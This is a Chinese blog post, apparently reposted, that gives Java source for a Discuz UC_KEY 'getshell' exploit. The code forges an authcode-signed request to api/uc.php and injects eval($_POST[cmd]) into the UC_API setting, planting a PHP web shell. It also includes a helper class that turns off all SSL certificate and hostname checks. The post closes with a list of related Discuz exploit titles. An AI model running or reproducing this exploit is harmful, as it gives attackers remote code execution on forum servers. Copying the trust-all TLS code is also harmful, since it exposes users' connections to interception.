Discuz自身提供了一个函数_authcode,实现了自身的Encode和Decode。这里写了一段代码,基本翻译了Discuz的Encode部分。代码没什么难点,麻烦的是如果你用Java去实现Encode会发现里面有许多的坑。我写了俩php的函数microtime();和time();的实现。用Map替换了PHP的range函数,其次需要注意的是php的chr,chr返回的是Java里的byte(在这里被坑了好久…)。

附了一个忽略SSL安全证书验证的工具类,Base64用了apache的commons-codec-1.5.jar,IO操作用了apache的commons-io-2.2.jar。

DZ.java:

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.io.IOUtils;


public class DZ {

  /**
   * 模拟PHP的microtime函数
   * @return
   */
  public static String microtime(){
    String a = String.valueOf(System.nanoTime());
    return "0."+a.substring(10,a.length()-1)+" "+a.substring(0,10);
  }

  /**
   * 拼byte数组
   * @param b
   * @return
   */
  protected static byte[] toByteArray(Byte[] b) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    for (byte bs : b) {
      bos.write(bs);
    }
    return bos.toByteArray();
  }

  /**
   * Discuz 授权 Encode
   * @param $string
   * @param ucKey
   * @return
   */
  public static String auth(String $string,String ucKey){
    int $ckey_length = 4;
    String $key = DigestUtils.md5Hex(ucKey);
    String $keya = DigestUtils.md5Hex($key.substring(0,16));
    String $keyb = DigestUtils.md5Hex($key.substring(16,32));
    String microtime = DigestUtils.md5Hex(microtime());
    String $keyc = microtime.substring(microtime.length()-$ckey_length,microtime.length());
     String $cryptkey = $keya+DigestUtils.md5Hex($keya+$keyc);
    String sb = DigestUtils.md5Hex($string+$keyb).substring(0,16);
    $string = String.format("%010d", 0 )+sb+$string;
    int $string_length = $string.length();

    Map<Integer,Integer> box = new LinkedHashMap<Integer, Integer>();
    for (int i = 0; i <= 255; i++) {
      box.put(i, i);
    }

    List<Integer> ls = new ArrayList<Integer>();
    char[] $cryptkeyArray = $cryptkey.toCharArray();
    int r = 0;
    for (int i = 0; i <= 255; i++) {
      r = r==$cryptkeyArray.length?0:r;
      ls.add((int)$cryptkeyArray[r]);
      r ++;
    }
    int p = 0;
    for(int i= 0; i < 256; i++) {
      int $tmp = (Integer)box.get(i);
      p = (p+$tmp + ls.get(i)) % 256;
      box.put(i, box.get(p));
      box.put(p, $tmp);
    }

    List<Byte> bs = new ArrayList<Byte>();
    char[] $stringArray = $string.toCharArray();
    int a=0,j=0;
    for(int i = 0; i < $string_length; i++) {
          a = (a + 1) % 256;
          j = (j + box.get(a)) % 256;
          int $tmp = box.get(a);
          box.put(a, box.get(j));
          box.put(j, $tmp);
          int s = ((int)$stringArray[i] ^ box.get((box.get(a) + box.get(j)) % 256));
           bs.add((byte)s);
      }
    byte[] bb = toByteArray(bs.toArray(new Byte[bs.size()]));
    return $keyc+(Base64.encodeBase64String(bb).replace("=", ""));
  }

  /**
   * 模拟PHP的time函数
   * @return
   */
  public static String time(){
    return String.valueOf(System.currentTimeMillis()).substring(0,10);
  }

  /**
   * 发送POST请求
   * @param $cmd
   * @param $url
   * @param timeOut
   * @return
   */
  public static String send(String $cmd,String $url,int timeOut){
    try {
        URL u = new URL($url);
        //忽略HTTPS请求证书验证
        if("https".equalsIgnoreCase(u.getProtocol())){
        SslUtils.ignoreSsl();
      }
        URLConnection conn = u.openConnection();
      conn.setConnectTimeout(timeOut);
      conn.setReadTimeout(timeOut);
      conn.setDoOutput(true);
      conn.setDoInput(true);
      conn.getOutputStream().write($cmd.getBytes());
      return IOUtils.toString(conn.getInputStream(),"UTF-8");
    } catch (Exception e) {
      e.printStackTrace();
    }
    return $url;
  }

  public static void main(String[] args) {
    String $url = "http://192.168.199.230/api/uc.php?code=";//URL 地址
    String ucKey = "re67v405CbJ0A5G8Wck6y7d552x1NcY0L1U6O340v2c7P4ecb6m2P611YdZ2A8De";//UC KEY
     String timestamp = String.valueOf(Long.parseLong(time())+10*3600);
    try {
      String $code = URLEncoder.encode(auth("time="+timestamp+"&action=updateapps", ucKey),"UTF-8");
       String $cmd1="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">xxx\');eval($_POST[cmd]);//</item></root>";
       String $cmd2="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">aaa</item></root>";
       String $html1 = send($cmd1, $url+$code, 5000);
      System.out.println($html1);
      String $html2 = send($cmd2, $url+$code, 5000);
      System.out.println($html2);
    } catch (UnsupportedEncodingException e) {
      e.printStackTrace();
    }
  }
}

SslUtils.java:

import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;

import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;

public class SslUtils {

  private static void trustAllHttpsCertificates() throws Exception {
    TrustManager[] trustAllCerts = new TrustManager[1];
    TrustManager tm = new miTM();
    trustAllCerts[0] = tm;
    SSLContext sc = SSLContext.getInstance("SSL");
    sc.init(null, trustAllCerts, null);
    HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
  }

  static class miTM implements TrustManager,X509TrustManager {
    public X509Certificate[] getAcceptedIssuers() {
      return null;
    }

    public boolean isServerTrusted(X509Certificate[] certs) {
      return true;
    }

    public boolean isClientTrusted(X509Certificate[] certs) {
      return true;
    }

    public void checkServerTrusted(X509Certificate[] certs, String authType)
        throws CertificateException {
      return;
    }

    public void checkClientTrusted(X509Certificate[] certs, String authType)
        throws CertificateException {
      return;
    }
  }

  /**
   * 忽略HTTPS请求的SSL证书,必须在openConnection之前调用
   * @throws Exception
   */
  public static void ignoreSsl() throws Exception{
    HostnameVerifier hv = new HostnameVerifier() {
      public boolean verify(String urlHostName, SSLSession session) {
        System.out.println("Warning: URL Host: " + urlHostName + " vs. " + session.getPeerHost());
         return true;
      }
    };
    trustAllHttpsCertificates();
    HttpsURLConnection.setDefaultHostnameVerifier(hv);
  }
}

from: http://p2j.cn/?p=1366

相关内容:

java 实现 Discuz UC_KEY GetShell

Discuz! 7.2 SQL注入exp(getshell版)

Discuz 爆破无视验证码,PHP 调用社工库暴破 Discuz 论坛账户脚本

Discuz! X2 后台鸡肋 包含,在特定的环境下,可拿shell

Discuz! 多个版本 后台拿shell,需有安装APP权限

Discuz防注入函数绕过方法分析及没用心的修复补丁

Discuz xss利用演示( 劫持发帖,置顶帖子等)

Discuz NT 多个版本文件上传漏洞

Discuz!X2.5 Release 20120407 Getshell 0day

Discuz!NT 3.6 邀请跨站漏洞 -- 官网测试

Discuz!NT 3.6 跨站漏洞 -- 官网测试

Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit

【0day】Discuz!NT 2.x - 3.5.2 用户控件 poster SQL注入漏洞

DZ-X1.5 论坛后台拿 WebShell

Discuz! 系列论坛后台怎么拿到 Webshell

【漏洞】Discuz X1.5 - 论坛本地文件包含

【漏洞】Discuz - 论坛非创始人管理员代码执行